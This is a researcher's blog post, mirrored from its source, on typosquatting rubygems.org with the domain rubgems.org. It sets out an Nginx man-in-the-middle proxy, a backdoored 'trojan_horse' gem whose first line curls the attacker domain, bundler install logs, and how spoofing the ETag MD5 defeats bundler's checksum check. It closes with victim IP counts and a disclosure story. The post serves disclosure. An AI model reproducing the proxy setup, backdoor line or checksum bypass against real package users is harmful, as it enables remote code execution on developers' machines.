How I MITM'd rubygems.org ... Kinda
source link: http://gavinmiller.io/2020/how-i-mitmd-rubygems-org-kinda/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
This story starts at the console debugging a coworker’s issue. They had gotten stuck trying to
run bundle install
. Try, and fail. Try, and fail. And the error was really weird:
Could not reach host rubgems.org. Check your network connection and try again.
We went through the normal steps: turn it off and on again , check wifi, load up google, go for a coffee , etc. Standard debugging techniques.
Finally we realized the y
had inadvertently been dropped in source 'https://rubgems.org'
.
Huh. Go figure. We moved on our way after giggling a little. Rub gems. Hehe.
Then I got to thinking. If my colleague had made this mistake, surely other people have made this error too. I checked the whois record, and it was available! take_my_money
I was now in possession of rubgems.org
, and was left with the question: What can I do with
it? Which lead me to the logical conclusion: I wonder if I can Man in the Middle rubygems.org
and see
if other people make this typo!
It was stupid easy to setup a MITM. Grab a tiny AWS box, configure DNS, setup an Nginx proxy, and add let’s encrypt to the box. The Nginx config looked like this:
server { listen 80; server_name _; return 301 https://$host$request_uri; } server { listen 443 ssl; server_name rubgems.org; location / { proxy_pass $scheme://rubygems.org; sub_filter 'rubygems.org' 'rubgems.org'; } # SSL Config }
And that was it. I cobbled together some commands to build a simple log file parser to send me a list of unique IPs each day via email, and then I sat back and waited.
What Does a RubyGems MITM Get You?
While I waited, I investigated and tried to determine: What is possible if you’ve got control of a rubygem?
To answer this question I created a trojan_horse
gem. You can see it here on rubygems.org
: https://rubygems.org/gems/trojan_horse
.
The rough contents of which were:
class TrojanHorse def self.hi puts "I'm a real horse" end end
Then I made a modification of the gem and added my MITM code at the top:
`curl http://rubgems.org/request_capture` class TrojanHorse def self.hi puts "I'm a real horse" end end
I put this gem onto my MITM’d server, and tried to download it through various means.
RubyGems
Let’s see what happens with RubyGems. I started looking at gem install
and set the --source
flag,
here’s what got downloaded:
$ gem install --source https://rubgems.org trojan_horse --verbose HEAD https://rubygems.org/api/v1/dependencies 200 OK HEAD https://rubgems.org/api/v1/dependencies 200 OK GET https://rubygems.org/api/v1/dependencies?gems=trojan_horse 200 OK GET https://rubgems.org/api/v1/dependencies?gems=trojan_horse 200 OK GET https://rubygems.org/quick/Marshal.4.8/trojan_horse-0.0.1.gemspec.rz 200 OK /usr/local/share/gems/trojan_horse-0.0.1/lib/trojan_horse.rb Successfully installed trojan_horse-0.0.1 Parsing documentation for trojan_horse-0.0.1 Parsing sources... 100% [ 1/ 1] lib/trojan_horse.rb Installing ri documentation for trojan_horse-0.0.1 Done installing documentation for trojan_horse after 0 seconds 1 gem installed $ ruby -e "require 'trojan_horse'" $
Huh interesting. It reaches out to rubygems.org
and then rubgems.org
, but the download prefers to use rubygems.org
over my MITM. Wonder why? Checking out the help docs solves that problem:
gem install --help # ... -s, --source URL Append URL to list of remote gem sources
From this it looks like the url is appended to the end such that if the gem doesn’t exist on rubygems.org
only then will it reach out to a different source. No MITM possibility there!
Fresh Installation with Bundler
Next I tried my hand at bundler. I started by creating the following Gemfile entry:
source 'https://rubgems.org' gem 'trojan_horse'
And received:
$ bundle install --verbose Running `bundle install --verbose` with bundler 2.0.1 HTTP GET https://rubgems.org/versions HTTP 200 OK https://rubgems.org/versions Fetching gem metadata from https://rubgems.org/ Looking up gems ["trojan_horse"] HTTP GET https://rubgems.org/info/trojan_horse HTTP 200 OK https://rubgems.org/info/trojan_horse Resolving dependencies... Using bundler 2.0.1 0: bundler (2.0.1) from /usr/local/share/gems/specifications/bundler-2.0.1.gemspec Fetching trojan_horse 0.0.1 Installing trojan_horse 0.0.1 0: trojan_horse (0.0.1) from /usr/local/share/gems/specifications/trojan_horse-0.0.1.gemspec Bundle complete! 1 Gemfile dependency, 2 gems now installed. Use `bundle info [gemname]` to see where a bundled gem is installed. $ ruby -e "require 'trojan_horse'" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 3 100 3 0 0 7 0 --:--:-- --:--:-- --:--:-- 7
As you can see from the curl
output, having never downloaded the gem before, I have RCE through the gem.
Reinstall with Bundler
With the bundler reinstall, I began by uninstalling trojan_horse
, and updating my Gemfile
to the following:
source 'https://rubygems.org' gem 'trojan_horse'
And then ran bundle install
:
$ bundle install --verbose Running `bundle install --verbose` with bundler 1.17.3 HTTP GET https://index.rubygems.org/versions HTTP 200 OK https://index.rubygems.org/versions Fetching gem metadata from https://rubygems.org/ Looking up gems ["trojan_horse"] HTTP GET https://index.rubygems.org/info/trojan_horse HTTP 200 OK https://index.rubygems.org/info/trojan_horse Resolving dependencies... Using bundler 1.17.3 0: bundler (1.17.3) from /usr/local/share/gems/specifications/bundler-1.17.3.gemspec Fetching trojan_horse 0.0.1 Installing trojan_horse 0.0.1 0: trojan_horse (0.0.1) from /usr/local/share/gems/specifications/trojan_horse-0.0.1.gemspec Bundle complete! 1 Gemfile dependency, 2 gems now installed. $ ruby -e "require 'trojan_horse'" $
As you can see the gem downloaded cleanly from rubygems.org
, without a trojan. Next I updated the Gemfile
back to rubgems
and ran bundle install --verbose
:
# bundle install --verbose Running `bundle install --verbose` with bundler 1.17.3 Found changes from the lockfile, re-resolving dependencies because the list of sources changed HTTP GET https://rubgems.org/versions HTTP 200 OK https://rubgems.org/versions Fetching gem metadata from https://rubgems.org/ Looking up gems ["trojan_horse"] HTTP GET https://rubgems.org/info/trojan_horse HTTP 200 OK https://rubgems.org/info/trojan_horse HTTP GET https://rubgems.org/info/trojan_horse HTTP 200 OK https://rubgems.org/info/trojan_horse Retrying fetcher due to error (2/4): Bundler::HTTPError The checksum of /info/trojan_horse does not match the checksum provided by the server! Something is wrong (local checksum is "\"534cd8e8e81a4c9e4506940916c63080\"", was expecting "\"5cea0d4d-55\""). Looking up gems ["trojan_horse"] Double checking for ["trojan_horse"] in repository https://rubgems.org/ or installed locally Fetching gem metadata from https://rubgems.org/ Looking up gems ["trojan_horse"] Resolving dependencies... Using bundler 1.17.3 0: bundler (1.17.3) from /usr/local/share/gems/specifications/bundler-1.17.3.gemspec Installing trojan_horse 0.0.1 0: trojan_horse (0.0.1) from /usr/local/share/gems/specifications/trojan_horse-0.0.1.gemspec Bundle complete! 1 Gemfile dependency, 2 gems now installed. Use `bundle info [gemname]` to see where a bundled gem is installed.
And herein I got caught! Bundler does a checksum comparison on the gem verses the server. But if I control
the server, shouldn’t I be able to control the checksum? I checked what /info/trojan_horse
returned:
curl https://rubgems.org/info/trojan_horse --- 0.0.1 |checksum:f199445ebe0d03a6125c80b5eae7678dfc88caa4a5bfc631928df2ff7354ee5c curl https://rubygems.org/info/trojan_horse --- 0.0.1 |checksum:94b11151b60a613ecc426ac5855621aded3a8396b5a307bf24ecc2288ebc13c8
Those are different, but they don’t match the checksum failure I was getting. Things actually got confusing at this point. And when that happens, I jump into the source code and try to get a debugger around what’s happening.
Grepping for “does not match the checksum” on github lead me to MisMatchedChecksumError . And finally down to line 70 .
if etag_for(local_temp_path) == response_etag
At this point with a debugger around the code, I can start to look at the two variable values:
-
local_temp_path
is a path to a local cache of the/info/trojan_horse
file; on my local that path looks like this:
cat /tmp/bundler-compact-index-20200218-620-1ujtcvc/trojan_horse --- 0.0.1 |checksum:f199445ebe0d03a6125c80b5eae7678dfc88caa4a5bfc631928df2ff7354ee5c
-
response_etag
is the ETag value from the request sent to rubgems for/info/trojan_horse
. That value came back as:
> response["ETag"] => "\"5cea0d4d-55\""
First mystery solved I found one of the checksums. It’s a partial MD5 hash coming from ETag confused-cat
Still digging, I followed the method etag_for
and ended up at this code:
def etag_for(path) sum = checksum_for_file(path) sum ? %("#{sum}") : nil end def checksum_for_file(path) return nil unless path.file? # ... <snip> SharedHelpers.digest(:MD5).hexdigest(IO.read(path)) end
That makes more sense! Bundler is doing an MD5 hash against the contents of the file returned at /info/trojan_horse
. The MD5 hash for that file looks like this:
> content = File.read(local_temp_path) => "---\n0.0.1 |checksum:f199445ebe0d03a6125c80b5eae7678dfc88caa4a5bfc631928df2ff7354ee5c\n" > Digest::MD5.hexdigest(content) => "534cd8e8e81a4c9e4506940916c63080"
And this is the second piece. The ETag is not matching with what I have on the local cache and that’s why the installation is failing. Makes sense. But I control the server, so I can modify the ETag! All that’s expected from the bundler standpoint is an MD5 checksum that matches the contents of the file.
I switched up my Nginx configuration so that when is requested /info/trojan_horse
it reverse proxies to
a local ruby server and sends back the MD5 hash it was expecting.
And viola! The backdoored gem installed. I was actually shocked at this point. I expected additional safety checks to break, and that wasn’t the case. The lesson here is if you own the server, the client can’t do anything to save itself from you.
Summary
To summarize my findings:
gem install bundle install
Back to the Story…
After about 3 months I tallied up my stats. I had a collection of around 100 IPs. The geographical layout looked like this:
Location | Count ------------------|------ Amazon - Virginia | 51 United States | 7 Brazil | 6 China | 5 UK | 5 Germany | 5 Canada | 3 Others with 1 IP | 19
Not too shabby. You’ll noticed that half of those connections are for AWS. Which should give you pause, because it likely means my MITM was running on a staging or production server. Yikes! At this point I felt like my little experiment had run its course and demonstrated that this was a viable method for running a rubygems MITM.
I wasn’t entirely sure how to properly disclose this info. It was sensitive. But also, kinda not really. Especially since I owned the domain in question. But that said, there could be other domains that could be squatted so I felt it best to start quietly.
I started by submitting a report to HackerOne against the RubyGems program. If I could get paid for this, why not! Rejected. I wasn’t surprised with that. I asked to publicly disclose … it waited for a month until I bumped it, the H1 staff replied “we’ll let you know once we have info” and then closed it. I took that as: “Here is the door, please use it.” man_shrugging
The next avenue I tried was sending an email to rubygems’ security email: [email protected]
. I heard
back within 2 hours, and then nothing. I sent a few follow up emails, but didn’t hear back.
I happened to bump into RenderMan
at BSides Edmonton and chatted
with him about the MITM and lack of response. He fired off a tweet
to see if he could get me
a response. Nada.
Finally, I spoke to a colleague that had a connection on the rubygems team. This eventually lead to a response back from my initial email with instructions to file an issue. Progress!
Additionally, since this issue affected bundler, I sent [email protected]
an email. That bounced back
as undeliverable. Guess that email doesn’t exist. And sent an email to [email protected]
and never got a
response.
At this point, I submitted issues with the rubygems project and bundler project, and fired up the ol’ text editor to write this post.
This MITM turned out to be a lot of fun to run through. While it wasn’t a super serious issue, had I been a malicious actor, I could have RCE on a bunch of computers right now so… Achievement unlocked … Kinda! trophy
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK